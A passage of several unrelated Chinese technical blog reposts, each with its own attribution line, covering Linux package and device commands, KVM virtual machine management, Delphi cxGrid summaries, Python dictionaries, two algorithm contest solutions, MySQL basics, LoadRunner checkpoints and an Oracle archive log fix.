##在yum源中查找包含filename文件的软件包 update ##更新软件 history ##查看系统软件改变历史 reinstall softwarename ##重新安装 info softwarename ##查看软件信息 groups list ##查看软件组信息 groups info softwaregroup ##查看软件组内包含的软件 groups install softwaregroup ##安装组件 groups remove softwaregroup ##卸载组件 unit14 linux中设备的访问 1.设备访问 1.设备识别 /dev/xdxn ##硬盘设备/dev/sda1 /dev/cdrom ##光驱 /dev/mapper/* ##虚拟设备 2.设备的使用 ##《设备的发现》## fdisk -l ##查看真实存在的设备 cat /proc/partitions ##系统能够识别的设备 blkid ##系统能够挂载使用的设备id df ##查看设备被系统使用的情况 ##《设备的使用》## 1.设备的挂载 mount 设备 挂载点 mount /dev/sdb1 /mnt #把系统中第二块硬盘的第一个分区挂载到/mnt目录上 2.卸载设备 umout 设备|挂载点 如出现以下情况: [root@foundation0 ~]# umount /dev/sdb1 umount: /home/kiosk/Desktop/photo: target is busy. (In some cases useful info about processes that use the device is found by lsof(8) or fuser(1)) 解决: fuser -kvm 设备|挂载点 -k kill ,-v显示详细信息,-m扫描设备 2.软硬链接 ls -i ##查看文件节点号 ln -s /file /file1 ##软链接 ln /file /file1 ##硬链接 3.文件查找 1.locate filename ##在文件数据库中搜索filename信息,updatedb更新文件数据库 2.find find 查找位置 -条件 条件值 -exec 动作 {} \; -name -not 条件 -user -group -size -perm --maxdepth --mindepth -a -o -type f 文件 d 目录 c 字符设备 b 块设备 s 套节字 l 链接 find /mnt -user student find /mnt -group linux find /mnt -user student -a -group linux find /mnt -user student -o -group linux find /mnt -user student -a -group linux find /mnt -user student find /mnt -user student -a -not -group linux dd if=/dev/zero of=/mnt/file1 bs=1024 count=10 dd if=/dev/zero of=/mnt/file2 bs=1024 count=20 dd if=/dev/zero of=/mnt/file3 bs=1024 count=30 find /mnt -size 10k find /mnt -size -10k find /mnt -size +10k nit15 系统虚拟机管理 1.安装 #!/bin/bash ##命令运行环境的指定 virt-install \ ##安装虚拟机 --name $1 \ ##虚拟机名称指定,$1表示脚本后的第一串字符 --ram 1000 \ ##内存 --file /var/lib/libvirt/images/$1.img \ ##硬盘文件 --file-size 8 \ ##硬盘文件大小 --cdrom /var/ftp/pub/iso/rhel-server-7.1-x86_64-dvd.iso & ##安装源指定 ####2.管理#### virt-manager ##开启图形管理工具 virt-viewer vmname ##显示虚拟机,vmname表示虚拟机名称 virsh list ##列出正在运行的vm virsh list --all ##列出所有vm virsh start vmname ##运行指定vm virsh shutdown vmname ##正常关闭指定vm virsh destroy vmname ##强行结束指定vm virsh create vmname.xml ##临时恢复指定vm,vmname表示前端管理文件 virsh define vmname.xml ##永久恢复vm virsh undefine vmname ##删除vm的前端管理,不会删除存储 ####3.虚拟机快照#### qemu-img create -f qcow2 -b vm2.qcow2 node1.qcow2 !/bin/bash virsh destroy $1 &> /dev/null virsh undefine $1 &> /dev/null qemu-img create -f qcow2 -b /var/lib/libvirt/images/$1.qcow2 /var/lib/libvirt/images/$2.qcow2 &> /dev/null virt-install \ --name $2 \ --ram 1000 \ --disk /var/lib/libvirt/images/$2.qcow2 \ --import &> /dev/null & 本文转自铁骑传说51CTO博客,原文链接:http://blog.51cto.com/ybzbfs/1917785 ,如需转载请自行联系原作者
1.分组统计 var I:integer; lCol: TcxGridDBColumn; csglink : TcxDataSummaryGroupItemLink; csg : TcxDataSummaryGroup; csgItem : TcxDataSummaryItem; ---------------------------------------------------------- begin //给Grid添加一个新列 SECTION csg := cxgrdbtblvw_for_doctortv.DataController.Summary.SummaryGroups.Add; //创建汇总项 // csg.Links.Clear; lCol:= cxgrdbtblvw_for_doctortv.Columns[0]; lcol.Caption := '';//此处用来设置分组的名称 // lCol.Caption:= cxgrdbtblvw_for_doctortv.Columns[0].Caption; lCol.Visible := False; //设置不可见 lCol.GroupIndex := 0; //设置按此列进行分组合计 csglink := csg.Links.Add; csglink.ItemLink := cxgrdbtblvw_for_doctortv.Columns[0]; cxgrdbtblvw_for_doctortv.DataController.Groups.FullExpand; cxgrdbtblvw_for_doctortv.OptionsView.Footer := true; cxgrdbtblvw_for_doctortv.OptionsView.GroupFooters:= gfVisibleWhenExpanded; for i := 0 to qry_for_tongji.FieldCount-1 do begin if i > 2 then begin cxgrdbtblvw_for_doctortv.Columns[i].Summary.groupkind := skSum; cxgrdbtblvw_for_doctortv.Columns[i].Summary.groupFormat := ':0'; csgitem := csg.SummaryItems.Add; csgitem.ItemLink := cxgrdbtblvw_for_doctortv.Columns[i]; //汇总字段1 csgitem.Kind := skSum; csgItem.Format := '#,0.00;-#,0.00; #'; csgItem.Position := spFooter; end; if i = 1 then begin cxgrdbtblvw_for_doctortv.Columns[i].Summary.groupkind := skSum; cxgrdbtblvw_for_doctortv.Columns[i].Summary.groupFormat := ':0'; csgitem := csg.SummaryItems.Add; csgitem.ItemLink := cxgrdbtblvw_for_doctortv.Columns[i]; //汇总字段1 csgitem.Kind := skMin; csgItem.Format := '合计:'; csgItem.Position := spFooter; end; end; cxgrdbtblvw_for_doctortv.OptionsView.GroupSummaryLayout := gslAlignWithColumnsAndDistribute; dxbrbtn4.Enabled := True; end; 2.添加footer的函数 procedure Tfrmtongji.CreateSumFooter(cxTableView: TcxGridDBTableView; const fieldList: string); var i: Integer; f: TcxGridDBTableSummaryItem; l: TStringList; begin l := TStringList.Create; l.DelimitedText := fieldList; l.Delimiter := ','; cxTableView.OptionsView.Footer := True; for i := 0 to cxTableView.ColumnCount - 1 do begin if l.IndexOf(cxTableView.Columns[i].DataBinding.FieldName) <> -1 then begin f := (cxTableView.DataController.Summary.FooterSummaryItems.Add) as TcxGridDBTableSummaryItem; f.FieldName := cxTableView.Columns[i].DataBinding.FieldName; f.Column := cxTableView.Columns[i]; if (f.FieldName <> '医师编码') and (f.FieldName <> '医师名称') and (f.fieldName <> '科室名称') then begin f.Kind := skSum; f.Format := '#,0.00;-#,0.00; #'; end else if (f.FieldName = '医师编码') then begin f.Kind := skcount; f.Format := '合计:'; end; end; end; l.Free; end; 3.手工添加footer A:先手动添加一个column,然后设置所添加footer的column,然后就可以在ongettext()中添加 AText := '合计'; 在Footer的第一列显示[合计:] 加一个Summary项,Column设为Grid的第一列,Kind设为skNone 在该Summary项的OnGetText事件中,输入: procedure TFormExpense.tvExpenseTcxGridDBDataControllerTcxDataSummaryFooterSummaryItems2GetText( Sender: TcxDataSummaryItem; const AValue: Variant; AIsFooter: Boolean; var AText: String); begin AText := '合计:'; end; 按条件汇总: 在TableView的DataController->Summary->FooterSummary->OnSummary事件中,输入: procedure TFormExpense.tvExpenseDataControllerSummaryFooterSummaryItemsSummary( ASender: TcxDataSummaryItems; Arguments: TcxSummaryEventArguments; var OutArguments: TcxSummaryEventOutArguments); begin //得到字段名 TcxDBDataSummaryItem(Arguments.SummaryItem).FieldName; if (ASender.DataController.Values[Arguments.RecordIndex, tvExpenseLevel.Index] > 1) //只统计Level列=1的值 and (TcxDBDataSummaryItem(Arguments.SummaryItem).Kind = skSum) then OutArguments.Value := 0; //Level > 1的统计值设为0 本文转自鹅倌51CTO博客,原文链接: http://blog.51cto.com/kaixinbuliao/979236,如需转载请自行联系原作者
一.字典创建 1.赋值创建字典 #赋值创建字典,key-value----键值对 In [1]: d = {'key1': 'value', 'key2': 'value2'} In [2]: print d {'key2': 'value2', 'key1': 'value'} In [3]: services = {'ssh': 22, 'ftp':[20, 21], 'http':[80, 8080]} In [4]: print services {'ftp': [20, 21], 'http': [80, 8080], 'ssh': 22} 2.通过工厂函数创建字典 In [6]: users = dict(user1='123',user2='456',user3='789') In [7]: print users {'user2': '456', 'user3': '789', 'user1': '123'} 3.通过字典的fromkeys方法创建字典,所有元素有一个默认值 #如果没有指定默认值,默认值为None In [8]: print {}.fromkeys('hello') {'h': None, 'e': None, 'l': None, 'o': None} #给每个元素设置默认值为'123' In [9]: print {}.fromkeys(['user1', 'user2', 'user3'], '123') {'user2': '123', 'user3': '123', 'user1': '123'} 应用案例: 生成多个银行卡号,并初始化密码为"000000"# 卡号由 6 位组成, 前 3 位是 610 , 后面的依次是 001, 002, 003...100 [root@localhost code1]# vim cards.py #!/usr/bin/env python #coding:utf-8 cards = [] for i in range(1,101): a = '610%.3d' %(i) cards.append(a) print {}.fromkeys(cards,'000000') 二.分析字典的特征(跟元组和列表比较) -字典不能索引和切片,因为字典是无序的数据类型; -字典不支持重复和连接; -字典支持成员操作符: 判断字典的key值是否在字典中存在; in, not in 三.字典的增删改查 1.增 -字典名[key] = value -d.update(a=1, b=2) -d.update({'a':1, 'b',2}) -d.setdefault('a', 1) (1)通过字典名[key]=value,将key-value添加到字典中 In [10]: service = {'ftp':[20,21]} In [11]: service['http'] = [80,8080] In [12]: service Out[12]: {'ftp': [20, 21], 'http': [80, 8080]} (2)update方法实现添加:key存在,覆盖value值,否则添加 In [21]: service = {'ftp':[20,21]} In [22]: service1 = {'ssh':22} In [23]: service.update(service1) In [24]: print service {'ftp': [20, 21], 'ssh': 22} (3)update添加 In [25]: print service {'ftp': [20, 21], 'ssh': 22} In [27]: service.update(http=[80,8080],ftp=23) In [28]: print service #覆盖value值 {'ftp': 23, 'http': [80, 8080], 'ssh': 22} (4)setdefault实现添加: key存在,不覆盖value值,否则,添加 In [30]: service = {'ftp':[20,21]} In [32]: service.setdefault('ftp',23) Out[32]: [20, 21] In [33]: print service {'ftp': [20, 21]} #key存在不覆盖value值 In [34]: service.setdefault('ssh',23) Out[34]: 23 In [35]: print service {'ftp': [20, 21], 'ssh': 23} #key不存在,添加 2.改 -字典名[key]=value -d.update({'a':2, 'b':3}) -d.update(a=2, b=3) 3.查 -查看key值; -查看value值; -查看key-value键值对; -查看key是否存在; (1)查看key值 In [38]: services Out[38]: {'cc': 23, 'ftp': [20, 21], 'http': [80, 8080], 'ssh': 22} In [40]: services.keys() Out[40]: ['cc', 'ftp', 'http', 'ssh'] In [41]: services.viewkeys() Out[41]: dict_keys(['cc', 'ftp', 'http', 'ssh']) #给key起名字 In [45]: services.iterkeys() Out[45]: <dictionary-keyiterator at 0x2887730> (2)查看value值 n [46]: services.values() Out[46]: [23, [20, 21], [80, 8080], 22] (3)查看key-value键值对 In [47]: services.items() Out[47]: [('cc', 23), ('ftp', [20, 21]), ('http', [80, 8080]), ('ssh', 22)] (4)查看key是否存在 In [48]: services.has_key('http') Out[48]: True In [49]: services.has_key('sttp') Out[49]: False (5)查看指定key对应的value值 如果key不存在,不报错; 如果key存在,返回value值 In [50]: services.get('sttp') #key不存在,不报错 In [51]: services.get('http') Out[51]: [80, 8080] #key存在,返回value值 In [52]: services['sttp'] #key不存在,直接报错 KeyError Traceback (most recent call In [54]: services['http'] #key存在,返回value值 Out[54]: [80, 8080] 4.删 d.pop(key) #删除指定 key 的字典元素; d.popitem() #随机删除字典的 key-value 元素 ; del d[key] #删除指定 key 的字典元素; d.clear() #清空字典元素 四.循环遍历字典 In [82]: service Out[82]: {'ftp': 20, 'http': [80, 8080], 'ssh': 22} 1.遍历key-value的值 In [85]: for i,j in service.items(): ....: print i,j ....: ftp 20 http [80, 8080] ssh 22 2.默认情况下,遍历字典的key值 In [86]: for i in service: ....: print i ....: ftp http ssh 五.字典的应用 应用1: 通过字典实现case语句 -目前python不支持case语句; -实现case语句的两种方式: -if...elif...elif...else... -字典实现 #!/usr/bin/env python #coding:utf-8 """ # 实现四则运算 # - 用户分别输入第一个数字,运算操作符,第三个数字; # - 根据用户的运算操作打印出运算结果; # """ if...elif...elif...else... 实现: from __future__ import division num1 = input() ope = raw_input() num2 = input() if ope == '+': print num1+num2 elif ope == '-': print num1-num2 elif ope == '*': print num1*num2 elif ope == '/': print num1/num2 else: print 'error operator' 字典实现 case 语句 #coding:utf-8 """ 实现四则运算 用户分别输入第一个数字,运算操作符,第三个数字; 根据用户的运算操作打印出运算结果; """ #!/usr/bin/env python #coding:utf-8 from future import division num1 = input() ope = raw_input() num2 = input() d = { "+" : num1+num2, "-" : num1-num2, "" : num1num2, "/" : num1/num2, } if not ope in d: print "error operator" else: print d[ope] 应用2:用户管理系统 -1.注册新用户 -如果注册用户已经存在,则报错; -需要填写信息: name, passwd, gender, email,age; -2.用户登录 要求同之前写的用户登录系统 -3.注销用户 用户注销时,需要输入用户名和正确的用户密码 -4.显示用户信息 显示系统中存在所有已经注册用户的信息; -5.退出系统。 欢迎评论 本文转自Uniqueh51CTO博客,原文链接:http://blog.51cto.com/13363488/2057046 ,如需转载请自行联系原作者
Leftmost Digit Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 453 Accepted Submission(s): 229 Problem Description Given a positive integer N, you should output the leftmost digit of N^N. Input The input contains several test cases. The first line of the input is a single integer T which is the number of test cases. T test cases follow. Each test case contains a single positive integer N(1<=N<=1,000,000,000). Output For each test case, you should output the leftmost digit of N^N. Sample Input 2 3 4 Sample Output 2 2 Hint In the first case, 3 * 3 * 3 = 27, so the leftmost digit is 2. In the second case, 4 * 4 * 4 * 4 = 256, so the leftmost digit is 2. #include <iostream> #include <stdio.h> #include <math.h> using namespace std; int main() { int num; double t,l,m; long long int N; cin>>num; while(num--) { cin>>N; t = N*log10(N); l = t - (long long int)t; m = pow(10,l); cout<<(int)m<<endl; } return 0; }
一.Mysql安装、启动 yum -y install mysql-sever mysql service mysqld start 二.常用设置 1.mysql -u username 用户账户全称为:用户名@主机 username分两类: root: 127.0.0.1 localhost hostname ::1 '';(匿名用户) localhost hostname -p password -h hostname -e 'sql command;' 不登录mysql客户端直接执行Sql命令 2.mysql客户端命令 \q 退出 status 查看状态信息 \? 帮助 \g 直接把命令送往服务器端执行 \G 信息竖排显示 \c 终止命令执行 use databasename 设置默认数据库 3.服务器端命令需要加终止符,默认为分号,可以修改 select user(); 获取user()函数返回值 create database databasename;创建数据库 show databases; 显示所有数据库 show tables;显示数据库的表 drop database databasename;删除数据库 desc tablename;显示表结构 select user,host,password from user;显示表中字段 drop user 'username'@'%.example.org'; 删除用户 drop user ''@'localhost';删除匿名用户 set password for 'username'@'hostname'= password('cleartext password'); 设置密码 4.Mysql批处理模式与交互模式 myql -u username -p password >test.sql 5.键 key 主键:惟一标识表中每一个记录的字段或字段的组合,不能为null 候选键:惟一标识表中每一个记录的字段或字段的组合(可以用作主键),可以为null 外键: 6.约束 constraint 主键约束:一张表中主键只能有一个,记录惟一,不能为null 外键约束:作为参照的表中被关联的字段记录若没有出现,与参照表关联的表中的字段记录同样不能出现 惟一键约束:可以有多个,记录惟一,可以为null 检查式约束:用户自定义有效取值范围 非空约束:记录不允许为空 7.表操作 由行和列组成的二维关系 字段类型: 字符型 char(#) 固定长度 varchar(#) 可变长度 binary(#) 区分大小写,固定长度 varbinary(#) 区分大小写,可变长度 text 大段字符 blob 大段字符,区分大小写 数值型 精确数值型 int tinyint smallint mediumint int bigint decimal 近似数值型 float double 日期时间型 date time datetime timestamp 布尔型 null 内置类型 ENUM 枚举,从预先定义好的类型中选择 SET 集合,从预先定义好的类型中选择多个组合 数据类型 比较方式 存储空间:取值范围 参与的运算 创建表 create table tablename (col1_name,col1_type,…); eg: create table test (name char(10),age tinyint,gender ENUM('F','M'); 字段或字段类型还可以有修饰符 NOT NULL NULL UNSIGNED 只能用于整形 DEFAULT AUTO_INCREMENT 自动增长类型的字段必须为主键和惟一键 PRIMARY KEY UNIQUE KEY eg:create table test(name char(10),age tinyint UNSIGNED NOT NULL,gender ENUM('F','M' DEFAULT 'M'); eg:create table test(studyID int UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY); 删除表 drop tablename; 插入数据 insert into tablename (col1,col2,…) value|values (val1,val2,… );(字符型记录加引号) eg: insert into test (name,age,gender) values (tom,18,'F'),(jeff,16,'M'); insert into tablename values(); 查询 select col1,col2 from tablename where 条件 like 通配符 模糊匹配 %:匹配任意字符 _:匹配任意单个字符 rlike 正则表达式 糊糊匹配 更新数据 updata tablename set col1=val where 条件; 删除数据 delete from tablename ; delete from tablename where 条件 ; 本文转自wanglm51051CTO博客,原文链接: http://blog.51cto.com/studyit2016/1904480,如需转载请自行联系原作者
FatMouse's Speed Time Limit: 2000/1000 MS (Java/Others) Memory Limit: 65536/32768 K (Java/Others) Total Submission(s): 177 Accepted Submission(s): 90 Problem Description FatMouse believes that the fatter a mouse is, the faster it runs. To disprove this, you want to take the data on a collection of mice and put as large a subset of this data as possible into a sequence so that the weights are increasing, but the speeds are decreasing. Input Input contains data for a bunch of mice, one mouse per line, terminated by end of file.The data for a particular mouse will consist of a pair of integers: the first representing its size in grams and the second representing its speed in centimeters per second. Both integers are between 1 and 10000. The data in each test case will contain information for at most 1000 mice.Two mice may have the same weight, the same speed, or even the same weight and speed. Output Your program should output a sequence of lines of data; the first line should contain a number n; the remaining n lines should each contain a single positive integer (each one representing a mouse). If these n integers are m[1], m[2],..., m[n] then it must be the case that W[m[1]] < W[m[2]] < ... < W[m[n]]and S[m[1]] > S[m[2]] > ... > S[m[n]]In order for the answer to be correct, n should be as large as possible.All inequalities are strict: weights must be strictly increasing, and speeds must be strictly decreasing. There may be many correct outputs for a given input, your program only needs to find one. Sample Input 6008 1300 6000 2100 500 2000 1000 4000 1100 3000 6000 2000 8000 1400 6000 1200 2000 1900 Sample Output 4 4 5 9 7 分析: 首先按照关键字W升序进行排序,然后S[i]从1到i-1(是指外层循环中的第i个元素)开始遍历, 找到w[i]>w[k],s[i]<s[k],使m[i]最大的位置,并记录。 动态规划状态方程为:f[i] = max(f[k]+1,f[i]),1<=k<i; 这里定义了一个struct mice 其中的len代表当前元素的状态长度,用来找到找到最长的, index用来记忆当前元素的真实下标,在排序后还能找到元素的下标。 before用来找的当前元素的上一个元素的下标。 #include <iostream> #include <stdlib.h>using namespace std; typedef struct { int w,s; int len,index; int before; }mice; int cmp(const void *a,const void *b) { mice c = *(mice *)a; mice d = *(mice *)b; if(c.w==d.w) return d.s - c.s; else return c.w - d.w; } int main() { mice m[10001]; int i = 1,flag,max=0,f[1001]; while(cin>>m[i].w>>m[i].s) { m[i].index = i; m[i].len=0; m[i].before=0; i++; } //cout<<i<<endl; qsort(m,i-1,sizeof(m[1]),cmp); for(int j = 1;j < i ;j++) { for(int k = 1; k< j;k++) { if(m[j].w>m[k].w&&m[j].s<m[k].s) { if(m[j].len<m[k].len+1) { m[j].len = m[k].len+1; m[j].before = k; if(m[j].len>=max) { max = m[j].len; flag = j; } } } } } cout<<max+1<<endl; f[1] = m[flag].index; i=2; while(m[flag].before!=0) { flag = m[flag].before; f[i] = m[flag].index; i++; } for(int j = i-1 ; j >=1 ; j--) { cout<<f[j]<<endl; } // for(int j = 1 ; j < i ;j++) // cout<<m[j].index<<" "<<m[j].w<<" "<<m[j].s<<endl; return 0; } 本文转自NewPanderKing51CTO博客,原文链接: http://www.cnblogs.com/newpanderking/archive/2011/08/04/2126977.html,如需转载请自行联系原作者
3.6 TestLog 作为一个自动化测试产品,就如同一个结构化系统一样,如何有效的管理这个系统就需要多方面的维护和运营,但是一旦中间某个环节出现故障,如何在最短的时间内去寻找到问题的根源,这就是解决问题的突破口.而日志就记录这个过程唯一见证者,它会记录系统在任何一个节点上的运行情况,并通过时间节点和文字描述等方式将其记录下来,形成文档.下面就来具体看看我们的日志文件,它是以TXT格式来记录的,如下图所示: 以上的5个文件是在执行一个测试用例后生成的,因为他执行了5次循环,所以就记录了5次并生成5个日志文件.他的命名方式与TestReport是相同的. 文件中的内容均以时间顺序节点来记录的,日志的内容是在脚本中定义的,表示每个测试执行的过程. 本文转自一米一阳光博客园博客,原文链接:http://www.cnblogs.com/candle806/archive/2010/10/15/1852185.html ,如需转载请自行联系原作者
前段时间在群里跟大家讨论一个关于性能测试的问题,谈到如何评估测试结果,有一个朋友谈到规范问题,让我颇有感触,他说他们公司每次执行压力测试的时候,都要求脚本中必须有检查点存在,不然测试结果将不被认可,这是他们公司的规范。其实,在做压力测试过程,我们很容易忽略很多东西,而且随着自身的技术演变,我们很容易去丢失掉一些很好的习惯,当我们再碰到这些问题的时候,我们才发现其实是我们太粗心大意了,所以说好的习惯要保持。这次我刚好也要接手一些性能工作,因此就如何规范设置检查点来谈谈一些基本的流程和方法。 使用LoadRunner做压力测试,大致如下几个流程: 1、明确测试目标 2、录制测试脚本 3、脚本优化、调试 4、场景运行 5、分析测试结果 当然这里都是概况性的标题,但从这里我们可以明确的是测试脚本是整个压力测试过程中的重点步骤,如果测试脚本都不能确保正确与否,后面的测试过程就无从说起了。很多时候我们把脚本调试就简单的认为是脚本回放没有错误就认为脚本是没有问题的,这当然不能这么肯定,脚本调试是一个非常严谨的过程,我大致归纳如下几步: 1、明确每一行脚本的作用,也就是说每一行脚本执行的功能是什么; 2、删减不需要的脚本语句,比如在录制过程由于LR默认设置导致录制之后出现很多冗余的脚本,这些个脚本对我们的测试过程没有用途的应该删除掉,至于哪些是冗余就要具体分析了,所以说脚本录制完之后要分析脚本运行的过程,方能理解脚本执行的用途,不然在后面施压时运行错误,就会开始到处找问题,而又找不出问题; 3、查找存在的关联并进行相关设置 4、设置检查点,设置检查点的目的就是为了验证页面每次运行之后是否正确,设置检查点的过程总要通过不能的回放来进行验证检查点设置是否正确。 5、通过测试目标明确脚本执行的目标事务,并添加事务; 6、对需要进行并打操作的功能设置集合点 7、根据实际情况设置ThinkTime 8、在以上所有脚本调试步骤完成之后,设置迭代次数,通过在Vuser中设置多次迭代来验证脚本在多次循环运行时是否存在错误 注意:在Vuser中运行和回放脚本的过程,要密切关注replay log,也就是回放日志,很多问题通常都暴露在回放日志中,只不过我们没有认真去检查,所以没发觉。因为大多数情况是我们在回放脚本之后只观察回放日志中有没有红色的错误提示信息,如果没有我们就认为我们的脚本是ok的,其实不然,很多时候一些隐藏的错误就在回放日志中可以被发现,比如回放日志中的Warning信息,也就是警告信息,这些信息一旦你不去理会它,它将在场景运行过程中开始频繁暴露出来,而在场景中报错之后我们就认为可能是系统有问题或者是测试过程存在其他问题等等,而很难去考虑到是脚本的问题,是脚本在Vuser中调试就存在的问题。还有的时候一些问题在一次脚本回放中就不能被发现,他需要通过Vuser中设置多次迭代才能在回放日志暴露出问题来,所以说我们通常的思维就是一旦测试脚本没有一次回放没有出现错误,就去场景中运行,结果在场景中哪怕是运行10个用户都还会报错,这就是问题的根源所在。 下面还是重点说说检查点吧,三种常用的文本检查web_reg_find的方法: 1、 将脚本切换到树结构,在page view页面上找到你要check的文本内容, 并执行鼠标右键,选择Add a text check. 2、 通过Vuesr界面去设置检查点,如图所示: 3、 将脚本切换回代码界面, 在光标闪烁的上行,添加如下的代码: 添加的代码根据你检查的方式不同而不同, 你可以选择其中之一即可。 代码一: web_reg_find("Text=Payment Details",LAST); 注:“Payment Details” 为你要检查的文本; 脚本执行到此处,若在页面上找到了这几个字符串,那脚本继续执行下去;若没有找到,脚本将在此报错并且结束。 代码二: web_reg_find("Text=Payment Details", "SaveCount=para_count", LAST); //check 的函数 这里是要运行的页面脚本 if (atoi(lr_eval_string("{para_count}"))>0) //验证是否找到了页面上的要检查的字符串 lr_output_message("Pass!"); else lr_output_message("Failed!"); 注意: “Payment Details” 为你要检查的文本; 脚本执行到此处,不管页面上是否存在你要检查的字符串,脚本都不会报错,而是执行下去。 此段代码将找到的你要检查的字符串的个数,存为一个参数。 然后在页面代码的后面,通过检查这个参数的值是否大于0,来判断是否找到了你所要检查的字符串。 注意:这里的测试结果均以200状态码返回,其失败的结果将在分析报告中进行分类标识。 代码三: web_reg_find("Text=Payment Detdils", "Fail=NotFound",LAST);或者 web_reg_find("Text=Payment Detdils", "Fail=Found",LAST); 以上两段脚本就比较简洁,通过查询文本内容来决定此次运行的测试结果是否失败。 注意:在使用检查点的时候我们还需要注意一些问题,通常我们都要设置一些中文检查点,但是LR默认不支持,如果你设置了中文检查点而报错,那你就应该注意了,在录制脚本的时候去掉默认设置的UTF-8选择,如下图所示: 并且还设置启用图片和文本检查点,如下图所示: 以上就是设置检查点的全过程,设置检查点的目的不只是为了验证我们的脚本没有错误,而更重要的是一个规范问题,如何使得测试结果更具有说服力,那就所有的测试脚本中都添加检查点设置。 本文转自一米一阳光博客园博客,原文链接: http://www.cnblogs.com/candle806/archive/2011/03/25/1995648.html ,如需转载请自行联系原作者
在执行:ALTER SYSTEM SWITCH LOGFILE;时提示修改成功,但是在ASM硬盘组内归档日志空间则没有相应的归档日志文件,则说明日志切换不成功,然后再通过:SQL> ALTER SYSTEM ARCHIVE LOG CURRENT;修改时则提示如下错误: 1 2 3 4 ERROR at line 1: ORA-16014: log 2 sequence# 14 not archived, no available destinations ORA-00312: online log 2 thread 1: '+DGDATA02/udevasm/onlinelog/group_2.258.945212025' 通过查询相关日志说明,则可以是闪回空间不足导致的,查询闪回空间大小 1 2 3 4 5 6 SQL> show parameter db_recovery NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ db_recovery_file_dest string db_recovery_file_dest_size big integer 0 发现闪回空间没有设置大小导致无法进行日志切换,修改闪回空间为3G大小 1 SQL> alter system set db_recovery_file_dest_size=3G scope=both; 再次查询闪回空间大小: 1 2 3 4 5 SQL> show parameter db_recovery NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ db_recovery_file_dest string db_recovery_file_dest_size big integer 3G 通过查询已经有闪回空间了,现在则需要测试一下切换一下日志是否成功 1 2 SQL> ALTER SYSTEM SWITCH LOGFILE ; System altered. 1 2 3 4 5 6 7 SQL> ALTER SYSTEM ARCHIVE LOG CURRENT ; ALTER SYSTEM ARCHIVE LOG CURRENT * ERROR at line 1: ORA-16014: log 2 sequence# 14 not archived, no available destinations ORA-00312: online log 2 thread 1: '+DGDATA02/udevasm/onlinelog/group_2.258.945212025' 发现执行ALTER SYSTEM ARCHIVE LOG CURRENT时还是无法切换成功,想到在修改闪回空间大小时没有把数据库重启一下,最好重启一下数据库看看是否成功 1 2 3 4 SQL> shutdown immediate; Database closed. Database dismounted. ORACLE instance shut down. 1 2 3 4 5 6 7 8 9 SQL> startup; ORACLE instance started. Total System Global Area 1068937216 bytes Fixed Size 2260088 bytes Variable Size 331350920 bytes Database Buffers 729808896 bytes Redo Buffers 5517312 bytes Database mounted. Database opened. 启动后再执行一下日志切换: 1 2 3 4 5 6 SQL> ALTER SYSTEM ARCHIVE LOG CURRENT; System altered. SQL> ALTER SYSTEM SWITCH LOGFILE; System altered. SQL> ALTER SYSTEM SWITCH LOGFILE; System altered. 发现执行成功了,现在进ASM中查看是否有归档日志,在查询之前要查询一下归档存储在哪个位置 1 2 3 4 5 6 7 SQL> archive log list; Database log mode Archive Mode Automatic archival Enabled Archive destination +DGRECOVERY/arc Oldest online log sequence 9 Next log sequence to archive 14 Current log sequence 14 切换grid用户查询ASM硬盘组情况: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 [oracle@udevasm ~]$ su - grid Password: [grid@udevasm:/home/grid]$asmcmd ASMCMD> ls DGDATA01/ DGDATA02/ DGRECOVERY/ DGSYSTEM/ GRID1/ ASMCMD> lsdg State Type Rebal Sector Block AU Total_MB Free_MB Req_mir_free_MB Usable_file_MB Offline_disks Voting_files Name MOUNTED EXTERN N 512 4096 4194304 22520 260 0 260 0 N DGDATA01/ MOUNTED EXTERN N 512 4096 4194304 20472 14132 0 14132 0 N DGDATA02/ MOUNTED EXTERN N 512 4096 4194304 21500 21420 0 21420 0 N DGRECOVERY/ MOUNTED EXTERN N 512 4096 4194304 20472 20392 0 20392 0 N DGSYSTEM/ MOUNTED EXTERN N 512 4096 4194304 10232 10144 0 10144 0 N GRID1/ ASMCMD> cd DGRECOVERY/ 切换后的数据为: 1 2 3 4 5 6 7 ASMCMD> lsdg State Type Rebal Sector Block AU Total_MB Free_MB Req_mir_free_MB Usable_file_MB Offline_disks Voting_files Name MOUNTED EXTERN N 512 4096 4194304 22520 260 0 260 0 N DGDATA01/ MOUNTED EXTERN N 512 4096 4194304 20472 14132 0 14132 0 N DGDATA02/ MOUNTED EXTERN N 512 4096 4194304 21500 21420 0 21420 0 N DGRECOVERY/ MOUNTED EXTERN N 512 4096 4194304 20472 20392 0 20392 0 N DGSYSTEM/ MOUNTED EXTERN N 512 4096 4194304 10232 10144 0 10144 0 N GRID1/ 查询归档空间是否有文件 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 ASMCMD> cd +DGRECOVERY ASMCMD> ls UDEVASM/ ASMCMD> cd UDEVASM/ ASMCMD> ls ARCHIVELOG/ ASMCMD> cd ARCHIVELOG/ ASMCMD> ls 2017_06_08/ ASMCMD> cd 2017_06_08/ ASMCMD> ls thread_1_seq_14.256.946154499 thread_1_seq_15.257.946154499 thread_1_seq_16.258.946154499 thread_1_seq_17.259.946154499 thread_1_seq_18.260.946154501 thread_1_seq_19.261.946154523 thread_1_seq_20.262.946154571 ASMCMD> pwd +DGRECOVERY/UDEVASM/ARCHIVELOG/2017_06_08 可以再次通过日志切换查询文件是否增加 1 2 SQL> ALTER SYSTEM ARCHIVE LOG CURRENT; System altered. 查询ASM结果: 1 2 3 4 5 6 7 8 9 ASMCMD> ls thread_1_seq_14.256.946154499 thread_1_seq_15.257.946154499 thread_1_seq_16.258.946154499 thread_1_seq_17.259.946154499 thread_1_seq_18.260.946154501 thread_1_seq_19.261.946154523 thread_1_seq_20.262.946154571 thread_1_seq_21.263.946154599 通过上述内容则可以判断日志切换是成功的,而且thread_1_seq_21.263.946154599 这一个文件就是增加的 这样日志切换就成功了 本文转自xiaocao1314051CTO博客,原文链接: http://blog.51cto.com/xiaocao13140/1933626,如需转载请自行联系原作者
